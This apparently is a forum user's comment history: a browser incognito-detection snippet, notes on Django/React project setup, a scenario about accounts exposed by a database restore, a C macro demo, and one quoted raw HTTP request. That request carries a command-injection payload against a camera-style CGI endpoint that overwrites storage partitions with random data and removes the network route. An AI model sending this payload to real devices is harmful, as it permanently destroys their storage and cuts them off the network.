62 karma · joined Nov 5, 2013 (13y ago) · 27 submissions
comment 7y ago · link · parent
const detect = () => { var fs = window.RequestFileSystem || window.webkitRequestFileSystem; if (!fs) { console.log("FS check failed.."); return; } fs(window.TEMPORARY, 100, function (fs) {}, function (err) { console.log("Incognito"); }); };
comment 8y ago · link · parent
Also Professor Leonard but someone already mentioned him.
comment 8y ago · link · parent
> django-admin startproject > copy+paste my webpack config for React > copy+paste my general management scripts into the package.json (mostly scripts to build the client, and if working locally also start a server)
Then if I want to deploy it, I just install nginx and gunicorn and again copy+paste my configs for those.
If I want to use mysql it's not too much trouble, takes 10 mins to get it up and running and my application hooked up to it.
comment 8y ago · link · parent
comment 8y ago · link · parent
Do they mean that the only potentially exposed accounts are those that signed up after the database was restored?
comment 8y ago · link · parent
1. Tables truncated. 2. In this window, someone creates an account with a username that existed in the dropped database. 3. They see a blank user page because a new user record was created. 4. Database restored. 5. It's as if you're logged into the original user's account.
comment 8y ago · link · parent
'GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2017;route%20del%20default)%20%26) HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\n\r\n'
comment 13y ago · link · parent
#include <stdio.h>
#define atoa(x) #x
#define mdb(x) printf("%s\n", atoa(x))
#define swap(type, x, y) do {type temp = *(x); *(x) = *(y); *(y) = temp;} while(0)
int main(int argc, char *argv[])
{
int cat[2] = {33, 44};
printf("atoa(cat): %s\n", atoa(cat)); // "cat"
mdb(swap(int, cat, cat+1)); // expands the macro inside to text
swap(int, cat, cat+1); // the macro itself
printf("cat[0]: %d\n", cat[0]); // 44
return 0;
}